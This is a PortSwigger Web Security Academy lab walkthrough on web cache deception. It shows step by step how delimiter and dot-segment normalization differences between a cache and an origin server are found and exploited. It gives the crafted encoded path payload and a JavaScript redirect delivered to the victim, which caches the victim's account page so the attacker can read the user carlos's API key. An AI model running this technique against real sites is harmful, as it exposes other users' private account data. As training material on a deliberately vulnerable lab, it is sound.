PortSwigger

Lab Description
This lab exploits normalization discrepancies between the cache and origin server to access a > user’s sensitive API key.
Objective: Find the API key for the user carlos.
Credentials:
wiener:peterProvided: Delimiter character list.
Step 1: Identify the Target Endpoint
-
Log in as
wiener:peter -
Open
GET /my-accountin Burp Proxy
-
Notice the response contains your API key

Step 2: Test Path Delimiters
- Send
GET /my-account/abc→404 Not Found(no abstraction) - Send
GET /my-accountabc→404 Not Found(reference for Intruder) - Send
/my-account§§abcto Intruder with delimiter list:- Results:
#,?,%23,%3freturn200→ Origin uses these as delimiters
- Results:


Note: # cannot be used for exploitation (browser uses it as a fragment delimiter).
Step 3: Test Delimiter Discrepancy
Test ? delimiter:
GET /my-account?abc.js HTTP/1.1
- No cache headers → Cache also treats
?as delimiter
Test %23 delimiter:
GET /my-account%23abc.js HTTP/1.1
- No cache headers → Cache doesn’t have
.jscache rule
Step 4: Investigate Normalization
Test dot-segment normalization (origin):
GET /aaa/..%2fmy-account HTTP/1.1
404 Not Found→ Origin does not decode..%2f
Test static resource prefix:
- Static resources served from
/resourcesprefix with caching
Test cache dot-segment resolution:
GET /aaa/..%2fresources/YOUR-RESOURCE HTTP/1.1
X-Cache: hit→ Cache does decode..%2fand resolves the path!
GET /resources/..%2fYOUR-RESOURCE HTTP/1.1
- No caching → Cache resolves
..%2fand uses/resourcesprefix for cache rule
Conclusion: The cache normalizes ..%2f, but the origin server does not.
Step 5: Craft the Exploit Payload
Construct the malicious URL:
/my-account%23%2f%2e%2e%2fresources?wcd
Breakdown:
%23→ URL-encoded#(delimiter for origin, not for cache)%2f→ URL-encoded/%2e%2e→ URL-encoded..resources→ Triggers cache rule (cache normalizes path)?wcd→ Cache buster (ensures fresh entry)
What happens:
- Origin:
#delimiter →/my-account→ returns account page - Cache: Does not see
#→ path becomes..%2fresources→ cache normalizes..%2f→/resources→ caches as static resource
Step 6: Test the Payload
- In Repeater, test:
GET /my-account%23%2f%2e%2e%2fresources?wcd HTTP/1.1
200with your API keyX-Cache: miss(first request)X-Cache: hit(second request)
Step 7: Deliver the Exploit
- Go to the Exploit server
- In the Body section, paste:
<script>
document.location = "https://YOUR-LAB-ID.web-security-academy.net/my-account%23%2f%2e%2e%2fresources?wcd"
</script>

- Click Deliver exploit to victim
- Victim visits the exploit → navigates to the malicious URL
- Origin server returns Carlos’s account page (with API key)
- Cache stores the response as a static resource
Step 8: Retrieve the Cached Response
- In your browser, visit:
https://YOUR-LAB-ID.web-security-academy.net/my-account%23%2f%2e%2e%2fresources?wcd
- Copy Carlos’s API key from the response

Step 9: Submit the Solution
- Go back to the lab page
- Click Submit solution
- Paste Carlos’s API key
- Click OK

Step 10: Lab Solved
